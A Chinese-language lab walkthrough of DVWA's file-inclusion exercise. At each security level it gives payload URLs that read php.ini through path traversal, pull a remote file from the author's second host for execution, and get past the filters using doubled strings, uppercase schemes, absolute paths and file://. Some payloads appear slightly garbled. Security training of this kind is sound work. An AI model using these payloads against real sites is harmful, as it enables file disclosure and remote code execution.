LOW
low 等级的服务端代码没有对输入的page参数做任何过滤和检查。随意构造url查看报错信息:
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=1.txt
根据暴露的服务器路径信息构造url(可多次尝试)
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=C:\xampp\htdocs\DVWA-master\php.ini
成功读取到php.ini文件。magic_quotes_gpc为off时,php5.3.4以下存在%00截断漏洞。使用相对路径同样可以读取ini文件,只要…\ 足够多,然后从盘根目录开始遍历。
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\xampp\htdocs\DVWA-master\php.ini
根据php.ini的信息,allow_url_include和allow_url_fopen都为on,存在远程文件包含漏洞。在KALI服务器上上传一个利用文件。
成功执行phpinfo函数。
还使用URL编码对链接进行隐藏
%68%74%74%70%3a%2%2f%31%39%32%2e%31%36%38%2e%32%39%2e%31%33%30%2%70%68%70%69%6e%66%6f%2e%74%78%74
MEDIUM
medium级的代码使用str_replace对https://,http://,…/,…\进行删除,但还是存在绕过的方法,可以使用双写或使用绝对路径的方式绕过。
- 双写
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=htthttp://p://192.168.29.130/phpinfo.txt
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=…//…//…//…//…//xampp/htdocs/DVWA-master/php.ini
- 绝对路径
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=C:/xampp/htdocs/DVWA-master/php.ini
另外,str_replace大小写敏感,可以使用大写方式绕过对http://的过滤。
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=HTTP%3a%2f%2f192.168.29.130%2fphpinfo.txt
HIGH
fnmatch(pattern,string,flags)
根据指定的模式pattern对文件名或字符串string进行匹配,自php5.3.0及以上开始在windows平台上生效。
可利用file协议绕过,需要结合文件上传漏洞才可以实现任意命令执行。
http://192.168.29.128/DVWA-master/vulnerabilities/fi/?page=file:///C:/xampp/htdocs/DVWA-master/php.ini
IMPOSSIBLE
impossible级别使用了白名单过滤机制,page参数被限制为对应的四个文件名,不存在文件包含漏洞。